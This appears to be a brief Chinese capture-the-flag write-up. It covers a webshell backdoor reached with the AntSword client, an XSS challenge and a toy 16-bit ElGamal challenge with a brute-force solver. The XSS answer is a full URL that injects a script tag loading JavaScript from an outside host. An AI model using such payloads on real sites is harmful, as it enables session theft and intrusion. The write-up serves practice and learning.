随手看到的。。。看了看发现还是属于消遣的

web

OneLine

后门，蚁剑直接连接即可。

I'm administrator

很简单的xss直接解决。

<http://queen.us.crowncloud.dreamerjack.com:12352/?prompt=%3CsCRiPt%20sRC=//x0.nz/Zgme%3E%3C/sCrIpT%3E>

Crypto

ElGamal

题目还是很简单的

如下题目：

from Crypto.Util.number import *
from key import FLAG

size = 16

def keygen(size):
    q = getPrime(size)
    k = 2
    while True:
        p = q * k + 1
        if isPrime(p):
            break
        k += 1
    g = 2
    while True:
        if pow(g, q, p) == 1:
            break
        g += 1
    x = getRandomInteger(size) % q
    h = pow(g, x, p)
    return (g, h, p), (x,)

def encrypt(pubkey, m):
    g, h, p = pubkey
    assert 0 < m <= p
    r = getRandomInteger(size)
    c1 = pow(g, r, p)
    c2 = (m * pow(h, r, p)) % p
    return (c1, c2)

pubkey, privkey = keygen(size)

m = FLAG
c1, c2 = encrypt(pubkey, m)

print(pubkey)
#print(privkey)
print(c1, c2)

"""
(9, 729, 319387)

93280 263042
"""

题解如下:

from Crypto.Util.number import *

size = 16
publickey = (9,729,319387)
c1,c2 = (93280,263042)

def decrypt():
    g,h,p=publickey
    r=1
    m=1
    while True:
        if(pow(g,r,p)==c1):
            print(r)
            break
        r+=1
    while True:
        if((pow(h,r,p)*m)%p==c2):
            print("flag is: "+str(m))
            break
        m+=1
    
decrypt()